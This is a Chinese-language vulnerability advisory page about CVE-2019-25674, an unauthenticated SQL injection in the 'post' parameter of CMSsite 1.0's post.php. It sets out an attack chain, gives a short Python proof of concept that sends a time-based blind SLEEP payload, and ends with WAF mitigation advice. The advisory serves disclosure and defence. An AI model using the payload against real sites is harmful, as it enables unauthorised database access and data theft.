IPBUF安全漏洞报告
English
CVE-2019-25674 CVSS 8.2 高危

CVE-2019-25674 CMSsite SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25674
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CMSsite

相关标签

SQL注入CMSsite无需认证盲注

漏洞概述

CMSsite 1.0版本存在严重的SQL注入漏洞。攻击者无需身份认证,通过向post.php发送包含恶意SQL代码的GET请求,利用未经过滤的'post'参数操纵数据库查询。该漏洞可能导致敏感数据库信息泄露,并支持基于时间的盲注攻击,对系统安全构成严重威胁。

技术细节

该漏洞源于CMSsite 1.0在处理`post.php`的请求时,未对用户传入的`post`参数进行严格的输入验证和过滤,导致该参数直接拼接到SQL查询语句中。攻击者可以通过网络向服务器发送包含恶意SQL代码的GET请求。由于攻击无需用户交互且无需身份认证,攻击者可利用此漏洞执行任意SQL命令。利用方式包括Union查询注入获取数据库名称、表结构及敏感数据,以及在无法直接获取回显时,利用基于时间的盲注技术(如SLEEP函数)判断SQL语句执行情况,进而窃取数据库信息。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行CMSsite 1.0,并定位到存在漏洞的post.php端点。
STEP 2
漏洞探测
攻击者向post.php发送带有特定SQL语法(如单引号)的GET请求,观察错误响应或行为变化,确认存在SQL注入。
STEP 3
数据窃取
利用基于时间的盲注或Union查询,提取数据库结构、管理员凭据或其他敏感信息。
STEP 4
利用
根据获取的信息进一步访问后台或获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-ip/post.php" # Malicious payload for time-based blind SQL injection # This payload attempts to delay the database response by 5 seconds payload = "1' AND (SELECT SLEEP(5))-- -" parameters = { "post": payload } try: # Send GET request with the malicious parameter response = requests.get(target_url, params=parameters, timeout=10) # Check if the request took longer than expected due to SLEEP() if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Database response delayed.") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

CMSsite 1.0

防御指南

临时缓解措施
在应用防火墙(WAF)中部署规则,拦截针对`post`参数的常见SQL注入攻击特征(如单引号、AND SLEEP、UNION SELECT等)。若无法立即修复,建议暂时禁用受影响的功能模块或限制IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表